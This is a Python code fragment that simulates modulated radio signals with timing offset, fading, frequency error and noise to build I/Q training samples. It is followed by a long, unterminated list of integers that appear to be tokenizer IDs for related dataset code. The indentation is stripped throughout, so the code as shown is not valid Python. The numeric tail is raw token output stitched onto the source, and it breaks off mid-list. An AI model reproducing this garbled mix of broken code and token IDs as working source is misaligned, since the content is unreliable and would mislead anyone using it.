def create_sample_fast( mod = 'bpsk',pkt_len = 128,sps=8,pulse_ebw = 0.35,
timing_offset = 0.5,
fading_spread = 1,
freq_err = 0.0001, phase_err = np.pi,
snr = 10, max_sps = 128,complex_fading = False, freq_in_hz = False,
seed = None):
samp_rate = 1
if seed is not None:
np.random.seed(seed)
if mod in cont_phase_mod_list:
order = 2
else: # Linear modulation
order = linear_mod_const[mod].size
n_symbols = int( (pkt_len)/(sps*0.5)) + 2
data_symbs=np.random.randint(0,order,n_symbols)
mag = timing_offset
timing_offset = calc_timing_offset(mag, max_sps)
timing_step = int(max_sps/sps)
mod_symbs_max_sps=modulate_symbols_fast(data_symbs,mod,max_sps,timing_offset,timing_step,ebw = pulse_ebw)
data_symbs_max_sps= np.repeat(data_symbs,max_sps)
t_max_sps= np.arange(0,1.0*max_sps*n_symbols/samp_rate,1.0/samp_rate)
mod_symbs_timing_err = mod_symbs_max_sps[:pkt_len]
data_symbs_timing_err = simulate_timing_error(data_symbs_max_sps,timing_offset,timing_step, pkt_len)
mod_raw_symbs_timing_err = modulate_symbols(data_symbs_timing_err,mod,sps = 1, ebw = None, pulse_shape = None)
t_timing_err = simulate_timing_error(t_max_sps,timing_offset,timing_step, pkt_len)
transition_data_timing = create_marking(max_sps,timing_step,timing_offset,pkt_len)
marking_b_timing = transition_data_timing[:-1]
transition_data_timing = np.abs(np.diff(transition_data_timing)).astype('int')
mod_raw_unique_symbs_timing_err = mod_raw_symbs_timing_err*transition_data_timing
mod_raw_unique_symbs_timing_err[transition_data_timing==0]=np.nan+1j*np.nan
if not complex_fading:
coeff = generate_fading_taps(max_sps / timing_step, fading_spread)
mod_symbs_timing_fading = simulate_fading_channel(mod_symbs_timing_err, coeff)
else:
coeff=generate_complex_fading_taps(max_sps / timing_step, fading_spread)
mod_symbs_timing_fading = simulate_fading_channel_complex(mod_symbs_timing_err, coeff)
if not freq_in_hz:
t_freq = t_timing_err
else:
t_freq = np.arange(t_timing_err.size)
mod_symbs_timing_fading_freq_err = simulate_frequency_error(mod_symbs_timing_fading,t_freq,freq_err,phase_err)
carrier_timing_err = simulate_frequency_error(1.0,t_freq,freq_err,phase_err)
mod_symbs_timing_fading_freq_noise = add_noise(mod_symbs_timing_fading_freq_err,snr)
op = mod_symbs_timing_fading_freq_noise
comb = assign_iq2(mod_symbs_timing_fading_freq_noise)
carrier = assign_iq2(mod_symbs_timing_fading_freq_err)
fading = assign_iq2(mod_symbs_timing_fading)
clean = assign_iq2(mod_symbs_timing_err)
timing = np.zeros((pkt_len,2))
timing[range(pkt_len),marking_b_timing.astype(np.int_)] = 1
raw = assign_iq2(mod_raw_unique_symbs_timing_err)
return (comb ,carrier,fading,clean,timing,raw,coeff)
def assign_iq2( complex_vec):
op_vec = np.zeros((complex_vec.shape[0],2))
op_vec[:,0] = np.real(complex_vec)
op_vec[:,1] = np.imag(complex_vec)
return op_vec
if __name__ == '__main__':
test_data_sig_parallel() | [
1,
396,
3166,
1424,
29885,
29918,
17158,
29918,
1272,
29918,
9302,
1053,
334,
13,
5215,
12655,
408,
7442,
13,
3166,
12655,
1053,
2930,
29892,
3676,
13,
13,
4299,
29918,
12083,
543,
9794,
29914,
29888,
7971,
29918,
29906,
29900,
29896,
29929,
29918,
29900,
29955,
29918,
29900,
29906,
29918,
29906,
12975,
13,
13,
3166,
1424,
29885,
29918,
1545,
8250,
1053,
878,
29918,
1761,
29892,
1285,
29918,
21646,
29918,
1545,
29918,
1761,
29892,
10660,
29918,
1545,
29918,
3075,
13,
29937,
1053,
26110,
408,
15886,
13,
5215,
12865,
13,
5215,
5839,
280,
13,
5215,
10876,
13,
5215,
3509,
13,
3166,
1424,
29885,
29918,
24713,
29918,
1037,
1061,
1053,
334,
13,
13,
3166,
954,
2291,
1053,
432,
277,
13,
13,
3166,
1424,
29885,
29918,
1545,
8250,
29918,
11255,
1053,
878,
5987,
29918,
18098,
29879,
29918,
11255,
29892,
1545,
5987,
29918,
18098,
29879,
13,
29937,
512,
29961,
29896,
29929,
29929,
5387,
13,
13,
13,
13,
1753,
3653,
29898,
1357,
29918,
8977,
1125,
13,
1678,
396,
1596,
29898,
1357,
29918,
8977,
29897,
13,
1678,
736,
5706,
29918,
24713,
29918,
18816,
29906,
29898,
1068,
1357,
29918,
8977,
29897,
13,
13,
1753,
5706,
29918,
24713,
29918,
18816,
29906,
29918,
23482,
29898,
29876,
29918,
27736,
29892,
282,
1193,
29918,
2311,
29892,
3317,
29918,
29879,
567,
29892,
1545,
29918,
1761,
29892,
29879,
567,
29918,
29878,
865,
29892,
29886,
19994,
29918,
774,
29893,
29918,
1761,
29892,
9346,
292,
29918,
10289,
29918,
29878,
865,
29892,
29888,
9382,
29918,
1028,
949,
29918,
29878,
865,
29892,
29888,
7971,
29918,
3127,
29918,
29878,
865,
29892,
21646,
29918,
3127,
29918,
29878,
865,
29892,
16586,
29878,
29918,
29878,
865,
29892,
4280,
29918,
29888,
9382,
353,
7700,
29892,
29888,
7971,
29918,
262,
29918,
29882,
29920,
353,
7700,
29892,
13,
1678,
16717,
353,
6213,
29892,
285,
978,
353,
6213,
29892,
1873,
353,
29871,
29896,
29892,
29876,
28993,
353,
29871,
29896,
29900,
29871,
1125,
396,
29896,
29872,
29946,
268,
13,
4706,
6389,
29918,
262,
353,
1180,
1338,
580,
13,
4706,
6389,
29918,
262,
29889,
7323,
877,
29876,
28993,
742,
8516,
29897,
13,
13,
4706,
20088,
29918,
10568,
353,
29941,
29955,
29946,
29947,
29953,
29896,
13,
4706,
6389,
29918,
1761,
353,
5159,
13,
4706,
363,
474,
297,
3464,
29898,
29876,
28993,
1125,
13,
9651,
6389,
29918,
1761,
29889,
4397,
29898,
8552,
29889,
24535,
8552,
29898,
5085,
29918,
262,
876,
13,
13,
13,
4706,
565,
6389,
29918,
262,
1839,
26776,
2033,
338,
451,
6213,
29901,
13,
9651,
363,
1399,
29916,
29892,
5085,
297,
26985,
29898,
5085,
29918,
1761,
1125,
13,
18884,
6389,
1839,
26776,
2033,
353,
6389,
29918,
262,
1839,
26776,
2033,
718,
1399,
29916,
334,
20088,
29918,
10568,
13,
13,
4706,
679,
29918,
7050,
29918,
978,
353,
14013,
2967,
29892,
1399,
29916,
584,
29850,
3227,
29913,
1642,
4830,
29898,
3188,
29892,
1399,
29916,
29897,
29871,
13,
13,
4706,
396,
565,
285,
978,
338,
451,
6213,
29901,
13,
4706,
396,
268,
2967,
29918,
978,
353,
285,
978,
13,
4706,
396,
1683,
29901,
13,
4706,
396,
268,
2967,
29918,
978,
353,
525,
7050,
29914,
24713,
29915,
13,
13,
4706,
396,
2967,
29918,
978,
353,
8207,
7050,
29914,
24713,
8875,
4286,
4830,
29898,
9302,
29889,
8172,
29889,
9502,
524,
29898,
29900,
29892,
29896,
29900,
29900,
29900,
29900,
29900,
29900,
876,
13,
13,
4706,
363,
1399,
29916,
29892,
5085,
297,
26985,
29898,
5085,
29918,
1761,
1125,
13,
9651,
6389,
1839,
29888,
978,
2033,
353,
6213,
396,
657,
29918,
7050,
29918,
978,
29898,
3188,
29918,
978,
29892,
513,
29916,
29897,
13,
9651,
6389,
1839,
29876,
29918,
27736,
2033,
353,
6389,
29918,
262,
1839,
29876,
29918,
27736,
2033,
458,
29876,
28993,
13,
4706,
282,
353,
28625,
29898,
29876,
28993,
29897,
13,
4706,
20035,
353,
282,
29889,
1958,
29898,
9891,
29892,
6389,
29918,
1761,
29897,
13,
13,
4706,
396,
411,
1722,
29898,
657,
29918,
7050,
29918,
978,
29898,
3188,
29918,
978,
29892,
29900,
511,
29915,
6050,
1495,
408,
285,
29901,
13,
4706,
396,
268,
8783,
353,
5839,
280,
29889,
1359,
29898,
29888,
29897,
13,
13,
4706,
8783,
29918,
449,
353,
20035,
29961,
29900,
29962,
13,
4706,
363,
474,
297,
3464,
29898,
29896,
29892,
29876,
28993,
1125,
13,
9651,
8783,
29918,
29875,
353,
20035,
29961,
29875,
29962,
13,
13,
9651,
363,
413,
29896,
297,
8783,
29918,
449,
29889,
8149,
7295,
13,
18884,
565,
338,
8758,
29898,
24713,
29918,
449,
29961,
29895,
29896,
1402,
8977,
1125,
13,
462,
1678,
363,
413,
29906,
297,
8783,
29918,
449,
29961,
29895,
29896,
1822,
8149,
7295,
13,
462,
4706,
396,
1596,
29898,
29895,
29896,
29892,
29895,
29906,
29897,
13,
462,
4706,
565,
413,
29896,
29991,
2433,
5085,
29915,
322,
413,
29896,
29991,
2433,
2230,
2396,
13,
462,
9651,
8783,
29918,
449,
29961,
29895,
29896,
3816,
29895,
29906,
29962,
353,
7442,
29889,
4397,
29898,
24713,
29918,
449,
29961,
29895,
29896,
3816,
29895,
29906,
1402,
24713,
29918,
29875,
29961,
29895,
29896,
3816,
29895,
29906,
1402,
8990,
353,
29871,
29900,
29897,
29871,
13,
13,
13,
4706,
8783,
29918,
449,
1839,
5085,
2033,
353,
6389,
29918,
262,
13,
4706,
8783,
29918,
449,
1839,
2230,
2033,
353,
851,
29898,
12673,
29889,
12673,
29889,
3707,
3101,
13,
4706,
565,
285,
978,
338,
451,
6213,
29901,
13,
9651,
411,
1722,
29898,
29888,
978,
5501,
29893,
29890,
1495,
408,
285,
29901,
13,
18884,
5839,
280,
29889,
15070,
29898,
24713,
29918,
449,
29892,
29888,
29897,
13,
13,
4706,
736,
8783,
29918,
449,
13,
13,
13,
1753,
5706,
29918,
24713,
29918,
18816,
29906,
29898,
29876,
29918,
27736,
29892,
282,
1193,
29918,
2311,
29892,
3317,
29918,
29879,
567,
29892,
1545,
29918,
1761,
29892,
29879,
567,
29918,
29878,
865,
29892,
29886,
19994,
29918,
774,
29893,
29918,
1761,
29892,
9346,
292,
29918,
10289,
29918,
29878,
865,
29892,
29888,
9382,
29918,
1028,
949,
29918,
29878,
865,
29892,
29888,
7971,
29918,
3127,
29918,
29878,
865,
29892,
21646,
29918,
3127,
29918,
29878,
865,
29892,
16586,
29878,
29918,
29878,
865,
29892,
19676,
29918,
29888,
9382,
353,
7700,
29892,
3005,
29939,
29918,
262,
29918,
29882,
29920,
353,
7700,
29892,
13,
1678,
16717,
353,
6213,
29892,
285,
978,
353,
6213,
29892,
1873,
353,
29871,
29896,
1125,
13,
268,
13,
1678,
6389,
353,
1180,
1338,
580,
13,
13,
1678,
565,
16717,
338,
451,
6213,
29901,
13,
4706,
7442,
29889,
8172,
29889,
26776,
29898,
26776,
29897,
13,
1678,
4145,
29918,
29894,
353,
7442,
29889,
3298,
359,
3552,
29876,
29918,
27736,
29892,
29886,
1193,
29918,
2311,
29892,
29906,
876,
13,
1678,
1559,
4336,
29918,
29894,
353,
7442,
29889,
3298,
359,
3552,
29876,
29918,
27736,
29892,
29886,
1193,
29918,
2311,
29892,
29906,
876,
13,
1678,
285,
9382,
29918,
29894,
353,
7442,
29889,
3298,
359,
3552,
29876,
29918,
27736,
29892,
29886,
1193,
29918,
2311,
29892,
29906,
876,
13,
1678,
5941,
29918,
29894,
353,
7442,
29889,
3298,
359,
3552,
29876,
29918,
27736,
29892,
29886,
1193,
29918,
2311,
29892,
29906,
876,
13,
1678,
28750,
29918,
29894,
353,
7442,
29889,
3298,
359,
3552,
29876,
29918,
27736,
29892,
29886,
1193,
29918,
2311,
29892,
29906,
876,
13,
1678,
10650,
29918,
29894,
353,
29871,
7442,
29889,
3298,
359,
3552,
29876,
29918,
27736,
29892,
29886,
1193,
29918,
2311,
29892,
29906,
876,
13,
1678,
878,
29918,
29894,
353,
7442,
29889,
3298,
359,
3552,
29876,
29918,
27736,
29892,
2435,
29898,
1545,
29918,
1761,
4961,
13,
1678,
565,
451,
4280,
29918,
29888,
9382,
29901,
13,
4706,
1302,
12352,
353,
7442,
29889,
3298,
359,
3552,
29876,
29918,
27736,
29892,
29953,
876,
13,
1678,
1683,
29901,
13,
4706,
1302,
12352,
353,
7442,
29889,
3298,
359,
3552,
29876,
29918,
27736,
29892,
29953,
511,
29881,
1853,
2433,
19676,
1495,
13,
13,
1678,
878,
29918,
2248,
353,
7442,
29889,
8172,
29889,
16957,
29898,
2435,
29898,
1545,
29918,
1761,
21336,
29876,
29918,
27736,
29892,
8106,
579,
668,
29898,
9302,
29889,
524,
19925,
13,
1678,
878,
29918,
29894,
29961,
3881,
29898,
29876,
29918,
27736,
511,
1545,
29918,
2248,
29962,
353,
29871,
29896,
13,
1678,
269,
567,
353,
7442,
29889,
8172,
29889,
29590,
29898,
29879,
567,
29918,
29878,
865,
29961,
29900,
1402,
29879,
567,
29918,
29878,
865,
29961,
29896,
1402,
29898,
29876,
29918,
27736,
29892,
876,
13,
1678,
9505,
344,
29918,
774,
29893,
353,
7442,
29889,
8172,
29889,
16957,
29898,
29886,
19994,
29918,
774,
29893,
29918,
1761,
22657,
29876,
29918,
27736,
29892,
876,
13,
1678,
28750,
29918,
10289,
353,
7442,
29889,
8172,
29889,
29590,
29898,
9346,
292,
29918,
10289,
29918,
29878,
865,
29961,
29900,
1402,
9346,
292,
29918,
10289,
29918,
29878,
865,
29961,
29896,
1402,
29898,
29876,
29918,
27736,
29892,
876,
13,
1678,
285,
9382,
29918,
1028,
949,
353,
7442,
29889,
8172,
29889,
29590,
29898,
29888,
9382,
29918,
1028,
949,
29918,
29878,
865,
29961,
29900,
1402,
29888,
9382,
29918,
1028,
949,
29918,
29878,
865,
29961,
29896,
1402,
29898,
29876,
29918,
27736,
29892,
876,
13,
1678,
3005,
29939,
29918,
3127,
353,
7442,
29889,
8172,
29889,
29590,
29898,
29888,
7971,
29918,
3127,
29918,
29878,
865,
29961,
29900,
1402,
29888,
7971,
29918,
3127,
29918,
29878,
865,
29961,
29896,
1402,
29898,
29876,
29918,
27736,
29892,
876,
13,
1678,
8576,
29918,
3127,
353,
7442,
29889,
8172,
29889,
29590,
29898,
21646,
29918,
3127,
29918,
29878,
865,
29961,
29900,
1402,
21646,
29918,
3127,
29918,
29878,
865,
29961,
29896,
1402,
29898,
29876,
29918,
27736,
29892,
876,
13,
1678,
565,
7442,
29889,
2378,
29898,
16586,
29878,
29918,
29878,
865,
467,
2311,
1360,
29906,
29901,
13,
4706,
5807,
29878,
353,
7442,
29889,
8172,
29889,
29590,
29898,
16586,
29878,
29918,
29878,
865,
29961,
29900,
1402,
16586,
29878,
29918,
29878,
865,
29961,
29896,
1402,
29898,
29876,
29918,
27736,
29892,
876,
13,
1678,
1683,
29901,
13,
4706,
5807,
29878,
353,
7442,
29889,
8172,
29889,
16957,
29898,
16586,
29878,
29918,
29878,
865,
22657,
29876,
29918,
27736,
29892,
876,
29871,
13,
418,
13,
13,
13,
13,
268,
13,
1678,
6728,
29918,
10568,
353,
29871,
29896,
29900,
29900,
29900,
13,
1678,
263,
353,
12865,
29889,
12673,
29889,
3707,
580,
13,
1678,
851,
29873,
29918,
2230,
353,
3509,
29889,
24535,
8552,
29898,
29874,
29897,
13,
1678,
363,
269,
1160,
29918,
513,
29916,
297,
3464,
29898,
29876,
29918,
27736,
1125,
13,
13,
308,
13,
13,
13,
4706,
878,
353,
878,
29918,
1761,
29961,
1545,
29918,
2248,
29961,
29879,
1160,
29918,
513,
29916,
5262,
13,
4706,
1015,
353,
1653,
29918,
11249,
29918,
11255,
29898,
878,
353,
878,
29892,
29886,
1193,
29918,
2435,
353,
282,
1193,
29918,
2311,
29892,
29879,
567,
29922,
29879,
567,
29961,
29879,
1160,
29918,
513,
29916,
1402,
29886,
19994,
29918,
774,
29893,
353,
9505,
344,
29918,
774,
29893,
29961,
29879,
1160,
29918,
513,
29916,
1402,
13,
795,
28750,
29918,
10289,
353,
28750,
29918,
10289,
29961,
29879,
1160,
29918,
513,
29916,
1402,
29871,
13,
795,
285,
9382,
29918,
1028,
949,
353,
285,
9382,
29918,
1028,
949,
29961,
29879,
1160,
29918,
513,
29916,
1402,
29871,
13,
795,
3005,
29939,
29918,
3127,
353,
3005,
29939,
29918,
3127,
29961,
29879,
1160,
29918,
513,
29916,
1402,
8576,
29918,
3127,
353,
21646,
29918,
3127,
29961,
29879,
1160,
29918,
513,
29916,
1402,
268,
13,
795,
5807,
29878,
353,
5807,
29878,
29961,
29879,
1160,
29918,
513,
29916,
1402,
4236,
29918,
29879,
567,
353,
4236,
29918,
29879,
567,
29892,
4280,
29918,
29888,
9382,
353,
4280,
29918,
29888,
9382,
29892,
3005,
29939,
29918,
262,
29918,
29882,
29920,
353,
3005,
29939,
29918,
262,
29918,
29882,
29920,
29892,
13,
795,
16717,
353,
6213,
29897,
13,
4706,
878,
29918,
29894,
7503,
29892,
29900,
29962,
353,
29871,
29896,
13,
4706,
4145,
29918,
29894,
29961,
29879,
1160,
29918,
513,
29916,
29962,
1919,
4287,
4336,
29918,
29894,
29961,
29879,
1160,
29918,
513,
29916,
1402,
29888,
9382,
29918,
29894,
29961,
29879,
1160,
29918,
513,
29916,
1402,
14941,
29918,
29894,
29961,
29879,
1160,
29918,
513,
29916,
1402,
9346,
292,
29918,
29894,
29961,
29879,
1160,
29918,
513,
29916,
1402,
1610,
29918,
29894,
29961,
29879,
1160,
29918,
513,
29916,
1402,
1111,
12352,
29961,
29879,
1160,
29918,
513,
29916,
29962,
353,
1015,
13,
13,
4706,
565,
269,
1160,
29918,
513,
29916,
29995,
18035,
29918,
10568,
1275,
29871,
29900,
322,
269,
1160,
29918,
513,
29916,
29958,
29900,
29901,
13,
18884,
289,
353,
12865,
29889,
12673,
29889,
3707,
580,
13,
18884,
2923,
29918,
2230,
353,
289,
29899,
29874,
13,
418,
13,
18884,
396,
278,
2684,
1962,
366,
29915,
276,
3063,
363,
29901,
13,
18884,
10876,
29889,
25393,
29889,
3539,
14182,
29878,
24565,
6571,
714,
310,
6571,
21313,
29901,
29889,
29896,
29888,
10560,
511,
382,
23384,
6571,
1919,
15899,
6571,
1642,
4830,
29898,
29879,
1160,
29918,
513,
29916,
29892,
29876,
29918,
27736,
29892,
5785,
29898,
29879,
1160,
29918,
513,
29916,
6802,
29876,
29918,
27736,
29930,
29896,
29900,
29900,
29892,
289,
29899,
710,
29873,
29918,
2230,
1919,
313,
29876,
29918,
27736,
29899,
29879,
1160,
29918,
513,
29916,
11877,
12765,
29918,
2230,
847,
18035,
29918,
10568,
29871,
876,
13,
18884,
10876,
29889,
25393,
29889,
23126,
580,
13,
18884,
263,
353,
3509,
29889,
24535,
8552,
29898,
29890,
29897,
13,
632,
13,
1678,
1015,
353,
10998,
18816,
2396,
29912,
1118,
29915,
7529,
2396,
29912,
1118,
29915,
1272,
2396,
29912,
930,
13,
13,
1678,
1015,
1839,
18816,
16215,
17743,
2033,
353,
29871,
4145,
29918,
29894,
13,
13,
13,
1678,
1015,
1839,
18816,
16215,
9346,
292,
29918,
29888,
9382,
29918,
4287,
4336,
2033,
353,
1559,
4336,
29918,
29894,
13,
1678,
1015,
1839,
18816,
16215,
9346,
292,
29918,
29888,
9382,
2033,
353,
285,
9382,
29918,
29894,
13,
1678,
1015,
1839,
18816,
16215,
9346,
292,
2033,
353,
5941,
29918,
29894,
13,
13,
1678,
1015,
1839,
7529,
16215,
1545,
2033,
353,
878,
29918,
2248,
13,
13,
13,
1678,
1015,
1839,
7529,
16215,
29888,
9382,
29918,
1028,
949,
2033,
353,
285,
9382,
29918,
1028,
949,
13,
1678,
1015,
1839,
7529,
16215,
29888,
9382,
29918,
29873,
2547,
2033,
353,
1302,
12352,
13,
13,
13,
1678,
1015,
1839,
7529,
16215,
29888,
7971,
29918,
2696,
2033,
353,
3005,
29939,
29918,
3127,
13,
1678,
1015,
1839,
7529,
16215,
21646,
29918,
2696,
2033,
353,
8576,
29918,
3127,
29871,
13,
13,
13,
13,
1678,
1015,
1839,
7529,
16215,
9346,
292,
29918,
2696,
2033,
353,
28750,
29918,
10289,
13,
1678,
1015,
1839,
7529,
16215,
11967,
29890,
29918,
10492,
2033,
353,
269,
567,
13,
1678,
1015,
1839,
1272,
16215,
19541,
29918,
3502,
292,
2033,
353,
28750,
29918,
29894,
13,
308,
13,
13,
1678,
1015,
1839,
7529,
16215,
29879,
567,
2033,
353,
269,
567,
13,
1678,
1015,
1839,
7529,
16215,
29886,
19994,
29918,
774,
29893,
2033,
353,
9505,
344,
29918,
774,
29893,
13,
13,
13,
1678,
1015,
1839,
18816,
16215,
9346,
292,
29918,
1610,
29918,
13092,
2033,
353,
10650,
29918,
29894,
13,
13,
1678,
1015,
1839,
7529,
16215,
16586,
29878,
2033,
353,
5807,
29878,
13,
13,
1678,
1015,
1839,
5085,
2033,
353,
6389,
13,
1678,
1015,
1839,
2230,
2033,
353,
851,
29898,
12673,
29889,
12673,
29889,
3707,
3101,
13,
1678,
1015,
1839,
3259,
2033,
353,
1873,
13,
1678,
565,
285,
978,
338,
451,
6213,
29901,
13,
4706,
411,
1722,
29898,
29888,
978,
5501,
29893,
29890,
1495,
408,
285,
29901,
13,
9651,
5839,
280,
29889,
15070,
29898,
459,
29892,
29888,
29897,
13,
13,
13,
1678,
736,
1015,
13,
13,
13,
13,
13,
1753,
1653,
29918,
11249,
29898,
878,
353,
525,
29890,
567,
29895,
742,
29886,
1193,
29918,
2435,
353,
29871,
29896,
29906,
29947,
29892,
29879,
567,
29922,
29947,
29892,
29886,
19994,
29918,
774,
29893,
353,
29871,
29900,
29889,
29941,
29945,
29892,
13,
462,
29871,
28750,
29918,
10289,
353,
29871,
29900,
29889,
29945,
29892,
13,
462,
29871,
285,
9382,
29918,
1028,
949,
353,
29871,
29896,
29892,
29871,
13,
462,
29871,
3005,
29939,
29918,
3127,
353,
29871,
29900,
29889,
29900,
29900,
29900,
29896,
29892,
8576,
29918,
3127,
353,
7442,
29889,
1631,
29892,
268,
13,
462,
29871,
5807,
29878,
353,
29871,
29896,
29900,
29892,
4236,
29918,
29879,
567,
353,
29871,
29896,
29906,
29947,
29892,
4280,
29918,
29888,
9382,
353,
7700,
29892,
3005,
29939,
29918,
262,
29918,
29882,
29920,
353,
7700,
29892,
13,
462,
29871,
16717,
353,
6213,
1125,
13,
1678,
269,
1160,
29918,
10492,
353,
29871,
29896,
13,
1678,
565,
16717,
338,
451,
6213,
29901,
13,
4706,
7442,
29889,
8172,
29889,
26776,
29898,
26776,
29897,
13,
308,
13,
1678,
565,
878,
297,
640,
29918,
21646,
29918,
1545,
29918,
1761,
29901,
13,
4706,
1797,
353,
29871,
29906,
13,
1678,
1683,
29901,
396,
22985,
878,
2785,
13,
4706,
1797,
353,
29871,
5608,
29918,
1545,
29918,
3075,
29961,
1545,
1822,
2311,
259,
13,
418,
13,
308,
13,
1678,
302,
29918,
18098,
29879,
353,
938,
29898,
313,
29886,
1193,
29918,
2435,
6802,
29898,
29879,
567,
29930,
29900,
29889,
29945,
876,
718,
29871,
29906,
13,
13,
308,
13,
1678,
848,
29918,
11967,
5824,
29922,
9302,
29889,
8172,
29889,
9502,
524,
29898,
29900,
29892,
2098,
29892,
29876,
29918,
18098,
29879,
29897,
13,
13,
308,
13,
1678,
2320,
353,
28750,
29918,
10289,
13,
1678,
28750,
29918,
10289,
353,
22235,
29918,
9346,
292,
29918,
10289,
29898,
11082,
29892,
4236,
29918,
29879,
567,
29897,
13,
13,
1678,
28750,
29918,
10568,
353,
29871,
938,
29898,
3317,
29918,
29879,
567,
29914,
29879,
567,
29897,
29871,
13,
13,
13,
1678,
878,
29918,
11967,
5824,
29918,
3317,
29918,
29879,
567,
29922,
1545,
5987,
29918,
18098,
29879,
29898,
1272,
29918,
11967,
5824,
29892,
1545,
29892,
3317,
29918,
29879,
567,
29892,
774,
29893,
353,
9505,
344,
29918,
774,
29893,
29897,
13,
1678,
848,
29918,
11967,
5824,
29918,
3317,
29918,
29879,
567,
29922,
7442,
29889,
14358,
29898,
1272,
29918,
11967,
5824,
29892,
3317,
29918,
29879,
567,
29897,
13,
308,
13,
308,
13,
1678,
260,
29918,
3317,
29918,
29879,
567,
29922,
7442,
29889,
279,
927,
29898,
29900,
29892,
29896,
29889,
29900,
29930,
3317,
29918,
29879,
567,
29930,
29876,
29918,
18098,
29879,
29914,
29879,
1160,
29918,
10492,
29892,
29896,
29889,
29900,
29914,
29879,
1160,
29918,
10492,
29897,
13,
308,
13,
308,
13,
13,
1678,
9558,
29918,
1272,
29918,
680,
284,
353,
7442,
29889,
2378,
3552,
29961,
29896,
29892,
14178,
3317,
29918,
29879,
567,
718,
518,
29900,
29892,
14178,
3317,
29918,
29879,
567,
29897,
334,
938,
29898,
29876,
29918,
18098,
29879,
29914,
29906,
29974,
29896,
876,
13,
13,
13,
13,
268,
13,
13,
1678,
878,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
353,
29611,
29918,
9346,
292,
29918,
2704,
29898,
1545,
29918,
11967,
5824,
29918,
3317,
29918,
29879,
567,
29892,
9346,
292,
29918,
10289,
29892,
9346,
292,
29918,
10568,
29892,
282,
1193,
29918,
2435,
29897,
13,
13,
1678,
848,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
353,
29611,
29918,
9346,
292,
29918,
2704,
29898,
1272,
29918,
11967,
5824,
29918,
3317,
29918,
29879,
567,
29892,
9346,
292,
29918,
10289,
29892,
9346,
292,
29918,
10568,
29892,
282,
1193,
29918,
2435,
29897,
13,
1678,
878,
29918,
1610,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
353,
878,
5987,
29918,
18098,
29879,
29898,
1272,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
29892,
1545,
29892,
29879,
567,
353,
29871,
29896,
29892,
18230,
29893,
353,
6213,
29892,
9505,
344,
29918,
12181,
353,
6213,
29897,
13,
13,
1678,
260,
29918,
9346,
292,
29918,
3127,
353,
29611,
29918,
9346,
292,
29918,
2704,
29898,
29873,
29918,
3317,
29918,
29879,
567,
29892,
9346,
292,
29918,
10289,
29892,
9346,
292,
29918,
10568,
29892,
282,
1193,
29918,
2435,
29897,
13,
13,
1678,
13,
13,
1678,
2791,
292,
29918,
29890,
29918,
9346,
292,
353,
29611,
29918,
9346,
292,
29918,
2704,
29898,
20543,
29918,
1272,
29918,
680,
284,
29892,
9346,
292,
29918,
10289,
29892,
9346,
292,
29918,
10568,
29892,
282,
1193,
29918,
2435,
29897,
13,
268,
13,
1678,
9558,
29918,
1272,
29918,
9346,
292,
353,
29611,
29918,
9346,
292,
29918,
2704,
29898,
20543,
29918,
1272,
29918,
680,
284,
29892,
9346,
292,
29918,
10289,
29892,
9346,
292,
29918,
10568,
29892,
282,
1193,
29918,
2435,
29974,
29896,
29897,
13,
1678,
9558,
29918,
1272,
29918,
9346,
292,
353,
7442,
29889,
6897,
29898,
9302,
29889,
12765,
29898,
20543,
29918,
1272,
29918,
9346,
292,
8106,
579,
668,
877,
524,
1495,
13,
268,
13,
1678,
878,
29918,
1610,
29918,
13092,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
353,
878,
29918,
1610,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
29930,
20543,
29918,
1272,
29918,
9346,
292,
13,
1678,
878,
29918,
1610,
29918,
13092,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
29961,
20543,
29918,
1272,
29918,
9346,
292,
1360,
29900,
13192,
9302,
29889,
13707,
29974,
29896,
29926,
29930,
9302,
29889,
13707,
13,
13,
13,
1678,
565,
451,
4280,
29918,
29888,
9382,
29901,
13,
4706,
1302,
12352,
353,
5706,
29918,
29888,
9382,
29918,
29873,
2547,
29898,
3317,
29918,
29879,
567,
847,
28750,
29918,
10568,
29892,
285,
9382,
29918,
1028,
949,
29897,
13,
4706,
878,
29918,
11967,
5824,
29918,
9346,
292,
29918,
29888,
9382,
353,
29611,
29918,
29888,
9382,
29918,
12719,
29898,
1545,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
29892,
1302,
12352,
29897,
13,
1678,
1683,
29901,
13,
4706,
1302,
12352,
29922,
17158,
29918,
19676,
29918,
29888,
9382,
29918,
29873,
2547,
29898,
3317,
29918,
29879,
567,
847,
28750,
29918,
10568,
29892,
285,
9382,
29918,
1028,
949,
29897,
13,
4706,
878,
29918,
11967,
5824,
29918,
9346,
292,
29918,
29888,
9382,
353,
29611,
29918,
29888,
9382,
29918,
12719,
29918,
19676,
29898,
1545,
29918,
11967,
5824,
29918,
9346,
292,
29918,
3127,
29892,
1302,
12352,
29897,
13,
18884,
13,
1678,
565,
451,
3005,
29939,
29918,
262,
29918,
29882,
29920,
29901,
13,
4706,
260,
29918,
29888,
7971,
353,
260,
29918,
9346,
292,
29918,
3127,
13,
1678,
1683,
29901,
13,
4706,
260,
29918,
29888,
7971,
353,
7442,
29889,
279,
927,
29898,
29873,
29918,
9346,
292,
29918,
3127,
29889,
2311,
29897,
13,
308,
13,
1678,
878,
29918,
11967,
5824,
29918,
9346,
292,
29918,
29888,
9382,
29918,
29888,
7971,
29918,
3127,
353,
29611,
29918,
10745,
23860,
29918,
2704,
29898,
1545,
29918,
11967,
5824,
29918,
9346,
292,
29918,
29888,
9382,
29892,
29873,
29918,
29888,
7971,
29892,
29888,
7971,
29918,
3127,
29892,
21646,
29918,
3127,
29897,
13,
1678,
1559,
4336,
29918,
9346,
292,
29918,
3127,
353,
29611,
29918,
10745,
23860,
29918,
2704,
29898,
29896,
29889,
29900,
29892,
29873,
29918,
29888,
7971,
29892,
29888,
7971,
29918,
3127,
29892,
21646,
29918,
3127,
29897,
13,
259,
13,
1678,
878,
29918,
11967,
5824,
29918,
9346,
292,
29918,
29888,
9382,
29918,
29888,
7971,
29918,
1217,
895,
353,
788,
29918,
1217,
895,
29898,
1545,
29918,
11967,
5824,
29918,
9346,
292,
29918,
29888,
9382,
29918,
29888,
7971,
29918,
3127,
29892,
16586,
29878,
29897,
13,
1678,
13,
1678,
1015,
353,
878,
29918,
11967,
5824,
29918,
9346,
292,
